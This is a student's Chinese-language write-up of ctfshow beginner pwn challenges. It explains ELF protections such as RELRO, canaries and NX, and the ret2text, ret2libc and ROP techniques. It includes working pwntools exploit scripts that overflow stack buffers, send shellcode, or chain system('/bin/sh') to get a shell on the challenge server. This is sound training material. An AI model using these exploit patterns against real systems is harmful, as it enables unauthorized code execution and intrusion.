hui’bctfshow pwn入门

1.

连上即可

2.

cat

3.

多个选项、选择6即可(连接到flag)

其实看ida也行

4.

比对“ strcpy(s1, “CTFshowPWN”);”,也就是输入 CTFshowPWN即可

cat /ctfshow_flag即可

pwn17:

utunbu的终端指令/;cat ctf*

用于显示文件内容连接多个文件,这里是以ctf开头的内容

read(0, buf, 0x20uLL);

read() 函数是一个 UNIX 系统调用,通常用于从文件描述符中读取数据。

用法:ssize_t read(int fd, void *buf, size_t count);

fd:文件描述符,表示要读取的文件或者输入源。在 UNIX 系统中,0 表示标准输入(STDIN),1 表示标准输出(STDOUT),2 表示标准错误(STDERR)。

文件描述符0:用于接收用户输入或者从管道、重定向或者其他输入源读取数据。

文件描述符1:用于向终端或者其他输出目标输出数据。

buf:指向存储读取数据的缓冲区的指针。

count:要读取的最大字节数。

这行代码从标准输入(文件描述符为0)读取最多10个字符到缓冲区 buf 中。

0xAuLL是十六进制表示的 10,表示最多读取 10 个字符。

3.>和>>的用法和区别

: 将命令的输出重定向到指定文件,如果文件不存在则创建,如果存在则覆盖文件内容;

: 将命令的输出追加到指定文件的末尾,如果文件不存在则创建。

pwn19

1.fork 函数的作用

在 Linux/Unix 系统中,fork 是一个系统调用,用于创建一个新的进程(子进程)。调用 fork 后,父进程和子进程会同时执行,但它们的返回值不同:

  • 父进程返回子进程的进程 ID(PID)(每个进程都有一个唯一的数字标识符,即进程ID。).
  • 子进程返回 0.
2.exec 函数的作用

exec 是一组用于替换当前进程映像的函数。它们的作用是将当前进程的代码、数据和堆栈替换为另一个程序的代码、数据和堆栈,从而实现程序的加载和执行。

3.1>&0的意义

1>&0 这种输入/输出重定向操作符的作用是将标准输出重定向到标准输入,这种操作可以将一个进程的输出作为另一个进程的输入。在Unix/Linux系统中,每个进程都有三个默认打开的文件描述符:标准输入(文件描述符0)、标准输出(文件描述符1)、标准错误(文件描述符2)。通过将标准输出重定向到标准输入,可以实现将一个进程的输出传递给另一个进程。

1>&0 命令是在子进程中执行的,因为它在 else 分支中,1>&0 重定向子进程的标准输出到标准输入,因此子进程的输出会被发送到父进程的标准输入

pwn20

题目

提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}

例如 .got可写.got.plt表可写其地址为0x400820 0x8208820

最终flag为ctfshow{1_1_0x400820_0x8208820}

若某个表不存在,则无需写其对应地址

如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}

伪代码

知识(got 和 .got.plt):

.got 和 .got.plt 是 ELF(Executable and Linkable Format,可执行和可链接格式)二进制文件中的两个重要部分,用于实现动态链接和延迟绑定(lazy binding)。

.got 表(Global Offset Table,全局偏移表):

.got 表是一个在程序加载时由动态链接器填充的表,包含了程序中所有需要在运行时动态解析的全局变量和函数的地址。这些地址最初是未知的,直到程序在内存中加载并开始执行时才会被解析和填充。当程序第一次执行到一个全局变量或者函数时,动态链接器会通过查找该符号的地址并将其写入 .got 表中,这样下次再次访问这个符号时就不需要再次查找。

.got.plt 表(Procedure Linkage Table,过程链接表):

.got.plt 表是在程序中用于实现延迟绑定的一种数据结构,用于处理程序中对动态链接库函数的调用。当程序第一次调用一个动态链接库中的函数时,其对应的入口地址会被写入到 .got.plt 表中。然后,动态链接器会跳转到 PLT 中的相应入口,执行一系列指令,最终将函数的实际地址写入 .got.plt 表中,并跳转到该地址执行函数。下次再调用这个函数时,程序会直接跳转到 .got.plt 表中存储的函数地址,而不需要再次执行 PLT 中的指令序列。

提示:What is RELRO protection ?
RELRO(RELocation Read-Only)保护

一种针对二进制可执行文件的安全性措施,用于防止针对程序中全局偏移表(GOT)和程序加载时动态链接器(LD)的攻击,确保全局偏移表(GOT)和过程链接表(PLT)在程序加载后被设为只读,从而使得攻击者无法修改这些表以执行恶意代码注入或覆盖函数指针等攻击。

RELRO 的几种常见类型:

1、NO RELRO:这种状态下 GOT 和 PLT 都是可写的。(.got 与 .got.plt 都可写。)

2、Partial RELRO:将全局偏移表(GOT)的非空项设为只读,而对于空项则保持可写。(.got 不可写而 .got.plt 可写。)

3、Full RELRO:在程序加载后将全局偏移表(GOT)和过程链接表(PLT)的所有项都设置为只读,即使这些项为空。任何对这些表的修改都会导致程序异常终止。(.got 与 .got.plt 都不可写。)

wp

1.检查附件

也就是说ctfshow{1_1_

2.显示 ELF 格式文件信息

1
readelf -S pwn

readelf 是一个用于显示 ELF 格式文件信息的工具,而 -S 选项用于显示 ELF (Executable and Linkable Format,可执行和可链接格式)文件中的节表(section headers)信息,节表包含了关于 ELF 文件中每个节的详细信息,例如节的名称、偏移、大小、对齐方式等。

然后找到.got和.got.plt的这一栏

所以答案就是ctfshow{1_1_0x600f18_0x600f28}

pwn21

题目、伪代码和知识点与20基本一致
wp

根据刚才的知识点来看这里的partial RELRO可知.got 不可写而 .got.plt 可写

readelf -S pwn来看二者地址

所以答案就是ctfshow{0_1_0x600ff0_0x601000}

pwn22

题目、伪代码和知识点与20基本一致
wp

根据刚才的知识点来看这里的partial RELRO可知.got 与 .got.plt 都不可写

然后这里.got.plt没有,所以答案就是ctfshow{0_0_0x600fc0}

总结:202122三道题都是让我用checksec来看RELRO可不可写,然后用readelf -S pwn来找.got和.got.plt的地址

pwn23

题目+伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl main(int argc, const char argv, const char envp)
{
__gid_t v3; // eax
int v5; // [esp-Ch] [ebp-2Ch]
int v6; // [esp-8h] [ebp-28h]
int v7; // [esp-4h] [ebp-24h]
FILE *stream; // [esp+4h] [ebp-1Ch]
//stream 是一个指向 FILE 结构的指针,用于打开文件 "/ctfshow_flag" 以供读取;

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
//如果文件打开失败,则打印错误信息并退出程序;

fgets(flag, 64, stream);
//使用 fgets 函数从文件中读取最多 64 个字符到全局数组 flag 中;

signal(11, (__sighandler_t)sigsegv_handler);
//使用 signal 函数注册一个信号处理函数 sigsegv_handler,处理段错误信号;

v3 = getegid();
//获取有效组 ID (egid) 并设置实际、有效和保存的组 ID 为相同值;

setresgid(v3, v3, v3, v5, v6, v7, v3);
puts(asc_8048940);
puts(asc_80489B4);
puts(asc_8048A30);
puts(asc_8048ABC);
puts(asc_8048B4C);
puts(asc_8048BD0);
puts(asc_8048C64);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No canary found ");
puts(" * ************************************* ");
puts("How to input ?"); //依次打印一系列字符串,包括一些提示信息和说明;
if ( argc > 1 )
ctfshow((char *)argv[1]);
//如果命令行参数的数量大于 1,则调用 ctfshow 函数,传递第一个命令行参数作为参数;
return 0;
}
wp
关于这个 argc 的解释:

argc 是 C 和 C++ 中的一个参数,代表命令行参数的数量。通常在程序启动时,操作系统会将命令行输入的参数传递给程序。argc 表示参数的数量,包括程序名称在内。例如,如果在命令行中输入 ./program arg1 arg2,则 argc 的值将是 3,因为有三个参数,分别是程序名称、”arg1” 和 “arg2”。

Canary保护 素?

Canary保护机制是一种栈溢出保护技术,用于防止缓冲区溢出攻击。当函数存在缓冲区溢出漏洞时,攻击者可以通过覆盖栈上的返回地址来执行恶意代码。启用Canary保护后,函数执行时会先在栈上插入一个随机数(称为canary),并在函数返回前验证该随机数是否被改变。如果随机数被改变,说明可能发生了栈溢出,从而阻止恶意代码的执行‌。

所以说,在没有canary保护机制存在的程序中,可以利用栈溢出的方式来攻击这个程序~

belike:$ ./pwnme 1111111111111111111112222222222222222222233333333333333333333333333333333333333333333333333

得到答案:ctfshow{21278169-d7cb-46ba-a948-13cdcbf18e1d}

pwn24

前置知识点:checksec的具体内容含义(以这道题为例)
1. Arch: i386-32-little
  • 含义:表示程序的架构信息。
    • i386-32:指该程序是 32 位的 Intel x86 架构(即传统的 32 位程序)。
    • little:表示采用小端字节序(Little-Endian),即数据的高字节存储在内存的高地址,低字节存储在低地址。
  • 安全影响:32 位架构的地址空间较小,部分漏洞利用(如 ROP 链构造)可能更简单,但需结合其他保护机制综合评估13

2. RELRO: Partial RELRO
  • 全称Relocation Read-Only(重定位只读)。
  • 作用:保护程序的动态链接信息(如 .got.plt 表),防止攻击者篡改函数地址
    • Partial RELRO:是默认模式,仅对部分动态链接表项进行限制,.got 表在首次调用函数前仍可写,存在被劫持的风险13
    • 对比:若为 Full RELRO,则所有动态链接表在加载后标记为只读,安全性更高,但会增加程序启动时间26

3. Stack: No canary found
  • 全称Stack Canary(栈保护机制)。其实就是上道题的那个东西
  • 作用:在函数返回地址前插入随机值(金丝雀值),若检测到该值被篡改则终止程序,防止栈溢出攻击。
    • No canary found未启用该保护栈溢出可直接覆盖返回地址,攻击难度较低15
    • 启用参数:通过 -fstack-protector 编译选项开启(默认部分函数保护)24

4. NX: NX disabled
  • 全称:No-eXecute(不可执行内存保护)。
  • 作用:将栈和堆内存标记为不可执行,防止攻击者注入并执行 Shellcode。
    • NX disabled:禁用该保护,允许在栈或堆上执行代码,可直接利用 Shellcode 攻击15
    • 启用参数:通过 -z noexecstack 编译选项开启(默认启用)24

5. PIE: No PIE (0x8048000)
  • 全称:Position Independent Executable(地址无关可执行文件)。
  • 作用:随机化程序加载基址(ASLR 的一部分),增加预测内存地址的难度。
    • No PIE:程序基址固定(如 0x8048000),攻击者可利用静态地址构造漏洞利用链15
    • 启用参数:通过 -fPIE -pie 编译选项开启,需配合操作系统 ASLR 生效26

6. RWX: Has RWX segments
  • 全称:Read-Write-eXecute(可读、可写、可执行的内存段)。
  • 作用:标识程序中是否存在同时具备读写执行权限的内存区域
    • Has RWX segments:存在此类内存段,攻击者可写入恶意代码并直接执行,风险极高57
    • 典型场景:未启用 NX 或代码段被错误配置时可能出现。
题目+伪代码


(这里的ctfshow函数没有办法访问)

wp

因为这里的NX disabled所以可以直接用shellcode来攻击

1
2
3
4
5
6
7
8
9
10
11
# -*- coding: utf-8 -*-
from pwn import * # 导入 pwntools 库中的所有函数和类

context.log_level = 'debug' # 设置 pwntools 的日志级别为调试模式
# p = process('./pwn') # 本地连接
p = remote('pwn.challenge.ctf.show', 28236) # 远程连接
shellcode = asm(shellcraft.sh())
payload = shellcode
# 使用 pwntools 的 shellcraft 模块生成一个 shellcode,并使用 asm 函数将其汇编成二进制指令
p.sendline(payload) # 发送 payload 到远程连接
p.interactive() # 与远程连接进行交互

从而获取shell

然后cat ctfshow_flag

undo pwn25

题目信息+伪代码

HINT:开启NX保护,或许可以试试ret2libc

前置概念:ret2libc

ret2libc(Return-to-libc)是一种常见的漏洞利用技术,通常用于绕过 NX(No-Execute)保护。当程序启用了 NX 保护时,栈上的代码无法执行,因此无法直接通过栈溢出执行 Shellcode。ret2libc 通过调用已有的函数(如 systemexecve)来实现漏洞利用。


1. ret2libc 的核心思想
  • 利用已有的函数:程序通常会加载标准库 libc,其中包含许多有用的函数(如 systemexecveexit 等)。
  • 覆盖返回地址:通过栈溢出覆盖返回地址,使其跳转到目标函数(如 system)。
  • 传递参数:为目标函数提供正确的参数(如 /bin/sh 的地址)。

2. ret2libc 的典型步骤

以下是一个典型的 ret2libc 利用过程:

(1)确定目标函数
  • 常用的目标函数是 system,因为它可以执行任意命令。
  • 需要知道 system 函数在内存中的地址(通过 libc 的基地址和偏移计算)。
(2)获取 **/bin/sh** 的地址
  • system 函数需要一个字符串参数(如 /bin/sh),用于启动 Shell。
  • 如果程序中存在 /bin/sh 字符串,可以直接使用其地址;否则需要通过其他方式(如写入内存)获取。
(3)构造 payload

通过栈溢出覆盖返回地址,构造如下 payload:

1
| 填充数据 | system 地址 | 返回地址 | 参数地址 |
  • 填充数据:覆盖栈空间,直到返回地址。
  • system 地址:覆盖返回地址为 system 函数的地址。
  • 返回地址system 函数执行后的返回地址(通常可以设置为 exit 函数地址或任意值)。
  • 参数地址/bin/sh 字符串的地址。

3. 示例:ret2libc 利用

假设:

  • system 函数地址:0x7ffff7e4c3a0
  • /bin/sh 字符串地址:0x7ffff7f7d5bd
  • 填充长度:100 字节

构造 payload:

1
2
3
4
5
6
7
python


payload = b"A" * 100 # 填充数据
payload += p64(0x7ffff7e4c3a0) # system 地址
payload += p64(0xdeadbeef) # 返回地址(任意值)
payload += p64(0x7ffff7f7d5bd) # /bin/sh 地址

发送 payload 后,程序会跳转到 system 函数并执行 /bin/sh,从而启动 Shell。


4. ret2libc 的变种
  • ret2libc + ROP:当无法直接调用 system 时,可以通过 ROP(Return-Oriented Programming)技术构造链式调用。
  • ret2libc + 动态地址:如果 libc 的地址是随机的(启用了 ASLR),需要通过信息泄露(如格式化字符串漏洞)获取 libc 的基地址。
  • ret2libc + 参数构造:如果无法直接获取 /bin/sh 的地址,可以通过写入内存的方式构造参数。

5. ret2libc 的防御
  • 启用 ASLR:随机化 libc 的基地址,增加利用难度。
  • 启用栈保护:如 canary,防止栈溢出。
  • 减少敏感函数:避免使用 system 等危险函数。

6. 总结

ret2libc 是一种绕过 NX 保护的漏洞利用技术,通过调用 libc 中的函数(如 system)实现 Shell 的获取。其核心步骤包括:

  1. 确定目标函数地址(如 system)。
  2. 获取参数地址(如 /bin/sh)。
  3. 构造 payload 覆盖返回地址并传递参数。

wp

HINT:开启NX保护,或许可以试试ret2libc

用ida反编译,看到:

1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}

这里的buf读入132个字节,然而后面read函数读取数据之后将读取的数据放入缓冲区buf,但是最大可读的字节数为256字节(0x100u),也就是说可能会造成栈溢出

有点做不动了,知识点有点脱节,先看pwn相关的书去了,等一小段时间我再回来补wp

pwn35

观察一下函数ctfshow这里的dest[104]

所以应该是利用栈溢出

ai再搜了一下./pwnme *****的意思是

所以向argv输入超过140个字节

ssh ctfshow@pwn.challenge.ctf.show -p28269还懵了一下不知道怎么用,结果扔到ubuntu就行了,同时也注意到了cat ./pwnme./pwnme的呈现内容有差别(前者是乱的)

原因如此

直接打开pwnme

输入大于104字节的内容之后

ctfshow{a9ac2a16-c544-47f3-a6af-b631f8393e14}

pwn36

[esp+0h] [ebp-28h]压栈,留出36字节空位给数组s,我看别人写wp中写返回地址会在ebp上面,占4字节(因为这是32位的文件,64位文件是8字节),所以利用栈溢出,填满s(36)+4(覆盖4字节返回地址)=40字节,最后返回到gat_flag函数的地址

gdb ./pwn动态调试,找到get_flag函数的起始地址:

(反正人家wp是这么写的,其实不如用ida直接看)

其实也可以直接通过空格转换成文本视图找到函数地址:

所以payload如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote("pwn.challenge.ctf.show", 28107)

offset=0x28+0x4
getflag_addr=0x8048586

payload=b'a'*offset + p32(getflag_addr)

p.sendline(payload)
p.interactive()

加了p.interactive()之后pycharm可以直接交互了,不用在Ubuntu上跑了

要写成原因是

运行paylaod即可:

ctfshow{96a92129-dbab-4582-962e-3c5c3349c739}

pwn37

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char argv, const char envp)
{
init(&argc);
logo();
puts("Just very easy ret2text&&32bit");
ctfshow();
puts("\nExit");
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF

return read(0, buf, 0x32u);#只有14字节读0x32,栈爆爆爆
}

所以套路跟pwn36应该是一样的

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote("pwn.challenge.ctf.show", 28255)

offset=0x12+0x4
getflag_addr=0x8048521

payload=b'a'*offset + p32(getflag_addr)

p.sendline(payload)
p.interactive()

可以可以(因为居然没看提示没问ai就做出来了嘻嘻):

ctfshow{1706f0f4-76d3-4eec-a2e1-7589a304dae1}

pwn38

提示:64位的 system(“/bin/sh”) 后门函数给你

64位的

所以ida64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall main(int argc, const char argv, const char envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts(" ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ");
puts(asc_400890);
puts(
" ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██");
puts(asc_4009A0);
puts(asc_400A30);
puts(asc_400AB8);
puts(
" ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ ");
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh'.There is a backdoor function");
puts(" * ************************************* ");
puts("Just easy ret2text&&64bit");
ctfshow();
puts("\nExit");
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

return read(0, buf, 0x32uLL);
}

所以payload的p32换成p64,同时64位程序涉及到一个“栈对齐”的概念:(两个解释都行)

ai解释

别人wp中解释

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote("pwn.challenge.ctf.show", 28306)

offset=0xA+0x8
getflag_addr=0x400657
gflea_addr=0x40065B #这里也可以是gfretn的地址0x40066C
payload=b'a'*offset + p64(gflea_addr) + p64(getflag_addr)
p.sendline(payload)
p.interactive()

剩余流程相同

ctfshow{b6d70d92-c3e5-45b5-b31c-c26226c47fec}

pwn39

32位的 system(); “/bin/sh”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char argv, const char envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts(" ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ");
puts(asc_80487E0);
puts(
" ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██");
puts(asc_80488E8);
puts(asc_8048978);
puts(asc_80489FC);
puts(
" ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ ");
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh',but they don't work together");
puts(" * ************************************* ");
puts("Just easy ret2text&&32bit");
ctfshow(&argc);
puts("\nExit");
return 0;
}
1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF

return read(0, buf, 0x32u);
}

我勒个移花接木啊。。

在这种没有现成的system(/bin/sh)的情况下需要先跳转到system函数处(plt段地址),添加返回地址,指向/bin/sh字段,所以payload如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = remote("pwn.challenge.ctf.show", 28299)

offset=0x12+0x4
binsh_addr=0x8048750
system_addr=0x80483a0

payload=b'a'*offset + p32(system_addr) + p32(0) +p32(binsh_addr)
#p32(0)我的理解是地址占位符
p.sendline(payload)
p.interactive()

ctfshow{6541a8ef-a952-4f05-bac4-73d16021d899}

pwn40

跟pwn37-pwn38是一样的,涉及到64位elf堆栈平衡:

关于pwn64位amd构造payload时的堆栈平衡问题以及32位与64位构造payload的区别与注意事项_64位 pwn 栈平衡-CSDN博客

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园

CTFshow-pwn入门-栈溢出pwn39-pwn40_ctfshow pwn39-CSDN博客

堆栈平衡原理:

只有pop\ret\push等等会出现压栈、出栈等出现寄存器地址变化的操作变化的。

这里对比一下,pwn38中直接到backdoor函数可以出结果,pwn40需要把/bin/sh传到system函数中(“/bin/sh”的地址应该是data层的,而不是函数中间的40065B)。

pwn38

pwn40

这里是用rdi寄存器传递“/bin/sh”,所以要获取pop rdi指令的地址:

ROPgadget --binary pwn --only "pop|ret"(因为后面也需要ret指令来做到堆栈平衡,所以一起拿了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
p = remote("pwn.challenge.ctf.show", 28178)

offset=0xA+0x8
pop_rdi_addr=0x4007e3
#用rdi传参,需要传到rdi寄存器中
binsh_addr=0x400808
system_addr=0x400520
ret_addr=0x4004fe

payload=b'a'*offset + p64(pop_rdi_addr) +p64(binsh_addr) + p64(ret_addr) + p64(system_addr)

p.sendline(payload)
p.interactive()

ctfshow{c851c3d0-503e-4d76-a0cc-7f053ebb13ad}